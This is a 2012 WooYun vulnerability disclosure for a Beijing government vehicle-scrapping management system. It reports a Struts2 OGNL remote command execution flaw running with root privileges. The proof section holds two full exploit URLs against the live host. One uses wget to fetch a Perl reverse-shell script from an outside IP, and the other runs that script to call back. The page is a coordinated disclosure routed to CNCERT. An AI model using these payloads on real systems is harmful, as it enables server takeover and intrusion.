当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013030

漏洞标题:北京市老旧机动车淘汰更新管理信息系统strust2另类方法执行命令

相关厂商:北京市老旧机动车淘汰更新管理信息系统

漏洞作者: asmc

提交时间:2012-10-04 08:57

修复时间:2012-11-18 08:58

公开时间:2012-11-18 08:58

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-04: 细节已通知厂商并且等待厂商处理中
2012-10-07: 厂商已经确认,细节仅向厂商公开
2012-10-17: 细节向核心白帽子及相关领域专家公开
2012-10-27: 细节向普通白帽子公开
2012-11-06: 细节向实习白帽子公开
2012-11-18: 细节向公众公开

简要描述:

直接以root权限执行命令

详细说明:

根据OGNL (Object Graph Navigation Language)解释,形如(foo)(bar)的表达,会将foo会被当作OGNL表达式解析,并且返回的结果也是一个OGNL的表达式

漏洞证明:

无法直接获取的命令的结果,所以这里我传了一个反向SHELL的PERL脚本上去:
1.
http://bjtgc.cbeex.com.cn/icar/user/index-comp!getSpecBySpecId.action?specId=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27wget http://公网IP/bs.txt 80%27%29%29%28meh%29&z[%28specId%29%28%27meh%27%29]=true
2.
http://bjtgc.cbeex.com.cn/icar/user/index-comp!getSpecBySpecId.action?specId=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27perl bs.txt 我的IP 80%27%29%29%28meh%29&z[%28specId%29%28%27meh%27%29]=true

修复方案:

再升,级数不够高

版权声明:转载请注明来源 asmc@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-10-07 00:11

厂商回复:

CNVD确认漏洞情况,与近期政府网站struts类漏洞统一下发CNCERT分中心或北京市信息化主管部门处置。
按通用软件漏洞进行评分,rank 10

最新状态:

暂无


漏洞评价:

评论